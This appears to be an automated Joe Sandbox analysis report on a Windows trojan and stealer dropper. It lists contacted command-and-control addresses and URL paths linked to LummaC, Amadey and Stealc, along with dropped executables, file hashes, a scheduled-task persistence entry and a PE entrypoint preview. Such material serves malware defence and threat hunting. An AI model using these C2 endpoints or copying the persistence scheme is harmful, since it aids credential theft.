https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	LIWYEYWSOj.exe, 00000000.00000003.1750526912.0000000005A8D000.00000004.00000800.00020000.00000000.sdmp, LIWYEYWSOj.exe, 00000000.00000003.1750605126.0000000005A8A000.00000004.00000800.00020000.00000000.sdmp, 0fd4b3a5d7.exe, 00000009.00000003.2625915154.00000000055AD000.00000004.00000800.00020000.00000000.sdmp, 0fd4b3a5d7.exe, 00000009.00000003.2626026465.00000000055AB000.00000004.00000800.00020000.00000000.sdmp, 0fd4b3a5d7.exe, 00000009.00000003.2626146620.00000000055AB000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.microsoftN	0fd4b3a5d7.exe, 00000009.00000003.2731276729.0000000000CD6000.00000004.00000020.00020000.00000000.sdmp, 0fd4b3a5d7.exe, 00000009.00000003.2658446321.0000000000D19000.00000004.00000020.00020000.00000000.sdmp, 0fd4b3a5d7.exe, 00000009.00000003.2711392422.0000000000CD6000.00000004.00000020.00020000.00000000.sdmp, 0fd4b3a5d7.exe, 00000009.00000003.2735688920.0000000000CEB000.00000004.00000020.00020000.00000000.sdmp, 0fd4b3a5d7.exe, 00000009.00000003.2731516300.0000000000CEB000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
172.67.165.185	mindhandru.buzz	United States	13335	CLOUDFLARENETUS	false
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1581239
Start date and time:	2024-12-27 08:58:56 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 9m 19s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	13
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	LIWYEYWSOj.exe renamed because original name is a hash value
Original Sample Name:	63e1ee575307e1edd1e0b7357a5bafed.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@22/6@1/4
EGA Information:	Successful, ratio: 60%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 23.218.210.69, 172.217.19.238, 172.217.19.227, 173.194.220.84, 184.30.22.94, 52.149.20.212, 13.107.246.63
Excluded domains from analysis (whitelisted): accounts.google.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, clientservices.googleapis.com, learn.microsoft.com.edgekey.net.globalredir.akadns.net, learn.microsoft.com, fe3cr.delivery.mp.microsoft.com, e11290.dspg.akamaiedge.net, go.microsoft.com, clients2.google.com, ocsp.digicert.com, e13636.dscb.akamaiedge.net, learn-public.trafficmanager.net, go.microsoft.com.edgekey.net, learn.microsoft.com.edgekey.net, clients.l.google.com
Execution Graph export aborted for target LEDU23VRAEI6A5X1LTGJU.exe, PID 4928 because there are no executed function
Execution Graph export aborted for target LIWYEYWSOj.exe, PID 6968 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
02:59:52	API Interceptor	58x Sleep call for process: LIWYEYWSOj.exe modified
03:01:01	API Interceptor	645x Sleep call for process: skotes.exe modified
03:01:19	API Interceptor	34x Sleep call for process: 0fd4b3a5d7.exe modified
08:00:32	Task Scheduler	Run new task: skotes path: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.43	8WRONDszv4.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, Stealc, zgRAT	Browse	185.215.113.43/Zu7JuNko/index.php
	Idau8QuYa3.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	oTZfvSwHTq.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	ZBbOXn0a3R.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	0Pm0sadcCP.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	iUKUR1nUyD.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	fkawMJ7FH8.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RedLine, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	uLkHEqZ3u3.exe	Get hash	malicious	LummaC, Amadey, Babadeda, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
172.67.165.185	CAo57G5Cio.exe	Get hash	malicious	LummaC	Browse
	fer4JIJGeL.exe	Get hash	malicious	LummaC	Browse
	AaEBZ7icLd.exe	Get hash	malicious	LummaC	Browse
	wJtkC63Spw.exe	Get hash	malicious	LummaC	Browse
	cFLK1CiiNK.exe	Get hash	malicious	LummaC	Browse
	ZvHSpovhDw.exe	Get hash	malicious	LummaC	Browse
	PH1D3KHmOD.exe	Get hash	malicious	LummaC	Browse
	7jKx8dPOEs.exe	Get hash	malicious	LummaC	Browse
	oTZfvSwHTq.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse
	zi042476Iv.exe	Get hash	malicious	LummaC	Browse
185.215.113.206	8WRONDszv4.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, Stealc, zgRAT	Browse	185.215.113.206/c4becf79229cb002.php
	Idau8QuYa3.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.206/c4becf79229cb002.php
	oTZfvSwHTq.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.206/c4becf79229cb002.php
	ZBbOXn0a3R.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.206/c4becf79229cb002.php
	9InQHaM8hT.exe	Get hash	malicious	Stealc	Browse	185.215.113.206/c4becf79229cb002.php
	0Pm0sadcCP.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.206/c4becf79229cb002.php
	iUKUR1nUyD.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206/c4becf79229cb002.php
	O5Vg1CJsxN.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.206/c4becf79229cb002.php
	y001L6lEK4.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.206/c4becf79229cb002.php
	ElmEHL9kP9.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206/c4becf79229cb002.php

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
mindhandru.buzz	onaUtwpiyq.exe	Get hash	malicious	LummaC	Browse	104.21.11.101
	CAo57G5Cio.exe	Get hash	malicious	LummaC	Browse	172.67.165.185
	fer4JIJGeL.exe	Get hash	malicious	LummaC	Browse	172.67.165.185
	AaEBZ7icLd.exe	Get hash	malicious	LummaC	Browse	172.67.165.185
	wJtkC63Spw.exe	Get hash	malicious	LummaC	Browse	172.67.165.185
	cFLK1CiiNK.exe	Get hash	malicious	LummaC	Browse	172.67.165.185
	ZvHSpovhDw.exe	Get hash	malicious	LummaC	Browse	104.21.11.101
	8WRONDszv4.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, Stealc, zgRAT	Browse	104.21.11.101
	ARoqFi68Nr.exe	Get hash	malicious	LummaC	Browse	104.21.11.101
	Idau8QuYa3.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	104.21.11.101

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	onaUtwpiyq.exe	Get hash	malicious	LummaC	Browse	104.21.11.101
	CAo57G5Cio.exe	Get hash	malicious	LummaC	Browse	172.67.165.185
	fer4JIJGeL.exe	Get hash	malicious	LummaC	Browse	172.67.165.185
	AaEBZ7icLd.exe	Get hash	malicious	LummaC	Browse	172.67.165.185
	wJtkC63Spw.exe	Get hash	malicious	LummaC	Browse	172.67.165.185
	cFLK1CiiNK.exe	Get hash	malicious	LummaC	Browse	172.67.165.185
	ZvHSpovhDw.exe	Get hash	malicious	LummaC	Browse	104.21.11.101
	8WRONDszv4.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, Stealc, zgRAT	Browse	104.21.11.101
	ARoqFi68Nr.exe	Get hash	malicious	LummaC	Browse	104.21.11.101
	DRWgoZo325.exe	Get hash	malicious	LummaC, Amadey, AsyncRAT, LummaC Stealer, Stealc, Vidar	Browse	104.21.11.101
WHOLESALECONNECTIONSNL	CAo57G5Cio.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	ZvHSpovhDw.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	8WRONDszv4.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, Stealc, zgRAT	Browse	185.215.113.16
	DRWgoZo325.exe	Get hash	malicious	LummaC, Amadey, AsyncRAT, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	Idau8QuYa3.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.16
	7jKx8dPOEs.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	oTZfvSwHTq.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.16
	0zBsv1tnt4.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	pVbAZEFIpI.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	GxX48twWHA.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
WHOLESALECONNECTIONSNL	CAo57G5Cio.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	ZvHSpovhDw.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	8WRONDszv4.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, Stealc, zgRAT	Browse	185.215.113.16
	DRWgoZo325.exe	Get hash	malicious	LummaC, Amadey, AsyncRAT, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	Idau8QuYa3.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.16
	7jKx8dPOEs.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	oTZfvSwHTq.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.16
	0zBsv1tnt4.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	pVbAZEFIpI.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	GxX48twWHA.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
WHOLESALECONNECTIONSNL	CAo57G5Cio.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	ZvHSpovhDw.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	8WRONDszv4.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, Stealc, zgRAT	Browse	185.215.113.16
	DRWgoZo325.exe	Get hash	malicious	LummaC, Amadey, AsyncRAT, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	Idau8QuYa3.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.16
	7jKx8dPOEs.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	oTZfvSwHTq.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.16
	0zBsv1tnt4.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	pVbAZEFIpI.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	GxX48twWHA.exe	Get hash	malicious	LummaC	Browse	185.215.113.16

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	onaUtwpiyq.exe	Get hash	malicious	LummaC	Browse	172.67.165.185
	CAo57G5Cio.exe	Get hash	malicious	LummaC	Browse	172.67.165.185
	fer4JIJGeL.exe	Get hash	malicious	LummaC	Browse	172.67.165.185
	AaEBZ7icLd.exe	Get hash	malicious	LummaC	Browse	172.67.165.185
	wJtkC63Spw.exe	Get hash	malicious	LummaC	Browse	172.67.165.185
	cFLK1CiiNK.exe	Get hash	malicious	LummaC	Browse	172.67.165.185
	ZvHSpovhDw.exe	Get hash	malicious	LummaC	Browse	172.67.165.185
	8WRONDszv4.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, Stealc, zgRAT	Browse	172.67.165.185
	ARoqFi68Nr.exe	Get hash	malicious	LummaC	Browse	172.67.165.185
	Idau8QuYa3.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	172.67.165.185

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Temp\LEDU23VRAEI6A5X1LTGJU.exe	8WRONDszv4.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, Stealc, zgRAT	Browse
C:\Users\user\AppData\Local\Temp\LEDU23VRAEI6A5X1LTGJU.exe	Idau8QuYa3.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse
C:\Users\user\AppData\Local\Temp\ZEV545Y6VQAOO1ZG8Z5WIIWMJ.exe	8WRONDszv4.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, Stealc, zgRAT	Browse
	Idau8QuYa3.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2902528
Entropy (8bit):	6.524638505106476
Encrypted:	false
SSDEEP:	24576:XgEKCVt4G/YGcPUbAbqfLHHyhvm7pGlpnJH9vORQGuBApDv3axLWLUdrkGya0bCs:QEKkt4Gxb4vmlFxp/ap1mHKu
MD5:	9B57FB40CC559ECAC791F39CA8916ED8
SHA1:	A211483D1AB7012CA4C523FCCF893B2621238509
SHA-256:	A9B14702444E713D91EF913475AB4B76E346566C08E71518229A0578224C0FD8
SHA-512:	3CFBC9BA0744B863315EB7A2F57EB756CC6B8E5D743F92D54CC02EA18FD5FFF314CD7AC9F7E23BAC2F89D5EF2EE3D277F27F09CAFD23823C06B8430D7B5A53A0
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	low
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....Yig............................../...........@..........................@/......,...@.................................Y@..m............................A...................................................................................... . . .......d..................@....rsrc .....0.......t..............@....idata .....@.......t..............@...lbjmjnxy..)..P....)..v..............@...pixbpiqe....../......$,.............@....taggant.0..../.."...(,.............@...........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2902528
Entropy (8bit):	6.524638505106476
Encrypted:	false
SSDEEP:	24576:XgEKCVt4G/YGcPUbAbqfLHHyhvm7pGlpnJH9vORQGuBApDv3axLWLUdrkGya0bCs:QEKkt4Gxb4vmlFxp/ap1mHKu
MD5:	9B57FB40CC559ECAC791F39CA8916ED8
SHA1:	A211483D1AB7012CA4C523FCCF893B2621238509
SHA-256:	A9B14702444E713D91EF913475AB4B76E346566C08E71518229A0578224C0FD8
SHA-512:	3CFBC9BA0744B863315EB7A2F57EB756CC6B8E5D743F92D54CC02EA18FD5FFF314CD7AC9F7E23BAC2F89D5EF2EE3D277F27F09CAFD23823C06B8430D7B5A53A0
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	low
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....Yig............................../...........@..........................@/......,...@.................................Y@..m............................A...................................................................................... . . .......d..................@....rsrc .....0.......t..............@....idata .....@.......t..............@...lbjmjnxy..)..P....)..v..............@...pixbpiqe....../......$,.............@....taggant.0..../.."...(,.............@...........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\LEDU23VRAEI6A5X1LTGJU.exe

Download File

Process:	C:\Users\user\Desktop\LIWYEYWSOj.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	5.580961603443907
Encrypted:	false
SSDEEP:	98304:wYP8Zc0iQNurF33SihYA66Y2hiUgRR3qTWWSgjE:wYP8Zc0iQNurF3Iyg+W
MD5:	17D940E3012D0A3589F9DCB08CB8AACB
SHA1:	C173FB724ED8484C8E369FA75FE55C583652CA0B
SHA-256:	A8BB33F2E7863A4F50AF391645B42E1C401D58B91C017104215D222EEF02AD70
SHA-512:	A3FD59B9B53B966401BA000A1FBE8EEF6C964420BBC123BB32B525E8C5D34199F217C62E28C14A8A1B981688FC88DCF4C13CF03EE2E02DA7AA5DFAEFACE93569
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Joe Sandbox View:	Filename: 8WRONDszv4.exe, Detection: malicious, Browse Filename: Idau8QuYa3.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$....... ...d..d..d....s.\|....F.i....r.^..m.[.g..m.K.b....g..d.......w.w....E.e..Richd..........PE..L....dTg.....................(........P...........@..........................@P.....t.P...@.................................M.$.a.....$.......................$..................................................................................... . ..$.......$.................@....rsrc.........$.......$.............@....idata ......$.......$.............@...frhnetpr.@+...$..4+...$.............@...tbiteucn......P.......O.............@....taggant.0....P.."....O.............@...........................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\ZEV545Y6VQAOO1ZG8Z5WIIWMJ.exe

Download File

Process:	C:\Users\user\Desktop\LIWYEYWSOj.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3241472
Entropy (8bit):	6.65959495968574
Encrypted:	false
SSDEEP:	98304:3unGIFk3h+DxvVpuOAxe500ZZCw0IRyP6o:36GIFikLuOH20fF0I4
MD5:	0A0F11159921131E89D2E3203E99B1F6
SHA1:	661586D8FAE5358589A35C336DFB4114116E3264
SHA-256:	69EA228FAD500972C7022F828D8CE864E841C10C79538FBF9188E2CFD1203098
SHA-512:	F14041F126807284126F6EADE0EBBBCACDF04A46521FBD4C6F7BB9579882157CA11130DFBB13FB189D8A20A6488CC9D1D2C3E14675DCB0838E328876965A60F3
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Joe Sandbox View:	Filename: 8WRONDszv4.exe, Detection: malicious, Browse Filename: Idau8QuYa3.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................1...........@...........................1......72...@.................................W...k............................e1.............................0e1..................................................... . ............................@....rsrc...............................@....idata ............................@...guulvnfq..........................@...wreswaoh.....p1......N1.............@....taggant.0....1.."...T1.............@...........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\ZEV545Y6VQAOO1ZG8Z5WIIWMJ.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3241472
Entropy (8bit):	6.65959495968574
Encrypted:	false
SSDEEP:	98304:3unGIFk3h+DxvVpuOAxe500ZZCw0IRyP6o:36GIFikLuOH20fF0I4
MD5:	0A0F11159921131E89D2E3203E99B1F6
SHA1:	661586D8FAE5358589A35C336DFB4114116E3264
SHA-256:	69EA228FAD500972C7022F828D8CE864E841C10C79538FBF9188E2CFD1203098
SHA-512:	F14041F126807284126F6EADE0EBBBCACDF04A46521FBD4C6F7BB9579882157CA11130DFBB13FB189D8A20A6488CC9D1D2C3E14675DCB0838E328876965A60F3
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................1...........@...........................1......72...@.................................W...k............................e1.............................0e1..................................................... . ............................@....rsrc...............................@....idata ............................@...guulvnfq..........................@...wreswaoh.....p1......N1.............@....taggant.0....1.."...T1.............@...........................................................................................................................................................................................................................................................

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\AppData\Local\Temp\ZEV545Y6VQAOO1ZG8Z5WIIWMJ.exe
File Type:	data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	3.3901839674730296
Encrypted:	false
SSDEEP:	6:gPtXflNeRKUEZ+lX1CGdKUe6tPjgsW2YRZuy0lteEt0:gRf2RKQ1CGAFAjzvYRQVlt0
MD5:	C50A52DCC90E4ACEBDBCD0E3682A8FB0
SHA1:	60321928B2D4C9961BA2079005EEAA755B7684B9
SHA-256:	AE170E0CA52B23DFA3EC372B24ACAEFA1BD99226ECF011B8B6FA6B952963643C
SHA-512:	B5C9636EBBBDA191376EA5454D1F7126C9386BF49F55C9628A97625321A5B4245A64B2FB032E22BDC6977E46B0D3F27777C390570D8487278998EFEE5541FB59
Malicious:	false
Preview:	....<.vO...G....x(QF.......<... .....s.......... ....................8.C.:.\.U.s.e.r.s.\.j.o.n.e.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........J.O.N.E.S.-.P.C.\.j.o.n.e.s...................0...................@3P.........................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.947844949169892
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	LIWYEYWSOj.exe
File size:	1'850'368 bytes
MD5:	63e1ee575307e1edd1e0b7357a5bafed
SHA1:	ca3177f3bc4b1dbc75736cf81981c78d68f42f7a
SHA256:	f4206cdda68f0d5e65006e954d7481aac64cd94a43d2311cfdfbbfdd2cbf8f58
SHA512:	7714f79f612316159f15a39073da18c8fdcf27707f00e9bb5fb9e9e7d2fb30d35d06aa7d1badba5d6066cc799190e2963cfa26ca2f7a10a13769c43c08e17612
SSDEEP:	49152:RbCs9/uselbwEYu04zVhinPfSLzM+BQH9bJGDw:p/nelmezVMPeA1N6w
TLSH:	B38533440DBF45FFD38F4CF9866F850668D8810AD6675239F6133F7A6A37AA36012B12
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....Yig..............................I...........@..........................0I.....e.....@.................................Y@..m..

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x890000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x67695986 [Mon Dec 23 12:37:26 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007FADBD33688Ah
hint_nop dword ptr [eax+eax]
add byte ptr [eax], al
add byte ptr [eax], al
jmp 00007FADBD338885h
add byte ptr [edx], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edx], ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
or ecx, dword ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
pushad
mov bl, 12h
adc byte ptr [edi+ecx*4-49h], ah
sldt word ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
pop es
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add cl, byte ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add eax, 0000000Ah
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], cl
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x54059	0x6d	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x53000	0x1ac	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x541f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
